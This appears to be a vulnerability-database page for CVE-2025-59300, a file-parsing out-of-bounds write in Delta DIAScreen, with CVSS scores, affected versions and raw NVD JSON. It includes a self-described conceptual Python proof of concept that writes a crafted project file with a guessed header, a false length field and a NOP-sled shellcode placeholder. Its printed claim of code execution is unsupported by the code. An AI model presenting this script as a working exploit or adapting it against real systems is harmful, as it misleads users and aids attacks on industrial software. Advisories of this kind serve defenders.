Security Vulnerability Report
中文
CVE-2025-59300 CVSS 7.8 HIGH

CVE-2025-59300

Published: 2025-10-03 03:15:36
Last Modified: 2025-10-08 16:06:43
Source: 759f5e80-c8e1-4224-bead-956d7b33c98b

Description

Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:* - VULNERABLE
Delta Electronics DIAScreen(具体受影响版本请参考官方安全公告Delta-PCSA-2025-00018)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59300 - Delta Electronics DIAScreen Out-of-Bounds Write PoC # This PoC demonstrates the concept of crafting a malicious DIAScreen project file # that triggers an out-of-bounds write vulnerability during file parsing. # # Note: This is a conceptual demonstration. The actual exploit would require # reverse engineering of the DIAScreen file format to identify the specific # vulnerable parsing routines and memory layout. import struct def create_malicious_diascreen_file(output_path): """ Create a malicious DIAScreen file that triggers OOB write vulnerability. The file format is a simplified representation; actual format may differ. """ # Standard DIAScreen file header (placeholder values) magic = b'DSCP' # Delta SCreen Project magic bytes version = struct.pack('<I', 0x00010000) # Version 1.0 header_size = struct.pack('<I', 64) # Normal header section header = magic + version + header_size header += b'\x00' * (64 - len(header)) # Crafted section with oversized data to trigger OOB write # The vulnerable parser expects a length field followed by data # We provide a length value that exceeds the allocated buffer size section_type = struct.pack('<I', 0x0000000A) # Section type (e.g., script/screen data) declared_length = struct.pack('<I', 0x00001000) # Declared length: 4096 bytes actual_data = b'A' * 256 # Actual data (smaller than declared) # Payload: shellcode or ROP chain to achieve code execution # This would be replaced with actual shellcode targeting the process payload = b'\x90' * 32 # NOP sled (placeholder) payload += b'\xCC' * 32 # INT3 breakpoints (placeholder for shellcode) malicious_data = section_type + declared_length + actual_data + payload # Write the malicious file with open(output_path, 'wb') as f: f.write(header) f.write(malicious_data) print(f"[+] Malicious DIAScreen file created: {output_path}") print(f"[!] When opened with DIAScreen, this file triggers OOB write") print(f"[!] Result: Arbitrary code execution in DIAScreen process context") if __name__ == '__main__': create_malicious_diascreen_file('malicious.dsp')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59300", "sourceIdentifier": "759f5e80-c8e1-4224-bead-956d7b33c98b", "published": "2025-10-03T03:15:35.897", "lastModified": "2025-10-08T16:06:43.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Delta Electronics DIAScreen lacks proper validation of the user-supplied file. If a user opens a malicious file, an attacker can leverage this vulnerability to execute code in the context of the current process."}], "metrics": {"cvssMetricV40": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:deltaww:diascreen:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.6.1", "matchCriteriaId": "0CA2C1C6-9BBF-49CB-ABCC-4BE44356DBFE"}]}]}], "references": [{"url": "https://filecenter.deltaww.com/news/download/doc/Delta-PCSA-2025-00018_DIAScreen%20File%20Parsing%20Out-Of-Bounds%20Write%20Vulnerability.pdf", "source": "759f5e80-c8e1-4224-bead-956d7b33c98b", "tags": ["Vendor Advisory"]}]}}